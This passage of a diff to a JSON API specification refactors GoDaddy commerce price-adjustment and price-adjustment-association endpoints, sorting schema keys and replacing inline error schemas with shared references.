`ratePercentage` in the request body is required.\n", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", "enum": [ - "AMOUNT", - "PERCENTAGE" - ] - }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 - }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } - }, - "required": [ - "currencyCode", - "value" - ] + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } + }, + "title": "PriceAdjustmentAssociation", + "type": "object" } }, "responses": { + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } - }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", - "enum": [ - "AMOUNT", - "PERCENTAGE" - ] - }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" }, - "required": [ - "currencyCode", - "value" - ] - }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "type": "array" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "name": { + "description": "the name for this price adjustment association", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "500": { - "description": "Internal server error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", + "enum": [ + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "required": [ - "code", - "message" - ] + "title": "PriceAdjustmentAssociation", + "type": "object" } } }, "scopes": [ - "commerce.price-adjustment:write" + "commerce.price-adjustment-association:write" ] }, { - "operationId": "deletePriceAdjustment", + "operationId": "deletePriceAdjustmentAssociation", "method": "DELETE", - "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", - "summary": "Delete a price adjustment", - "description": "Delete a price adjustment", + "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", + "summary": "Delete a price adjustment association", + "description": "Delete a price adjustment association", "parameters": [ { "name": "storeId", @@ -1685,140 +1123,70 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "adjustmentId", + "name": "associationId", "in": "path", "required": true, - "description": "Price Adjustment ID", + "description": "Price Adjustment Association ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], - "responses": { - "204": { - "description": "Successful response" - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", + "responses": { + "401": { + "description": "Unauthorized Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, + "204": { + "description": "Successful response" + }, "404": { "description": "Resource not found", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "422": { "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "500": { "description": "Internal server error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment:delete" + "commerce.price-adjustment-association:delete" ] }, { - "operationId": "findAllPriceAdjustmentAssociations", + "operationId": "findAllPriceAdjustments", "method": "GET", - "path": "/commerce/stores/{storeId}/price-adjustment-associations", - "summary": "Get all price adjustment associations", - "description": "Get all price adjustment associations", + "path": "/commerce/stores/{storeId}/price-adjustments", + "summary": "Get all price adjustments for a store", + "description": "Gets all applicable price adjustments for a given storeId", "parameters": [ { "name": "storeId", @@ -1826,272 +1194,244 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "type": "array", "items": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "id": { + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } - } - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "500": { - "description": "Internal server error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" + }, + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } }, - "message": { - "type": "string", - "description": "The message that describes the error." - } + "title": "PriceAdjustment", + "type": "object" }, - "required": [ - "code", - "message" - ] + "type": "array" } } }, "scopes": [ - "commerce.price-adjustment-association:read" + "commerce.price-adjustment:read" ] }, { - "operationId": "createPriceAdjustmentAssociation", + "operationId": "createPriceAdjustment", "method": "POST", - "path": "/commerce/stores/{storeId}/price-adjustment-associations", - "summary": "Create a price adjustment association", - "description": "Create a price adjustment association", + "path": "/commerce/stores/{storeId}/price-adjustments", + "summary": "Create a new price adjustment", + "description": "Creates a new price adjustment for a given storeId", "parameters": [ { "name": "storeId", @@ -2099,10 +1439,10 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], @@ -2110,403 +1450,417 @@ "required": true, "contentType": "application/json", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": 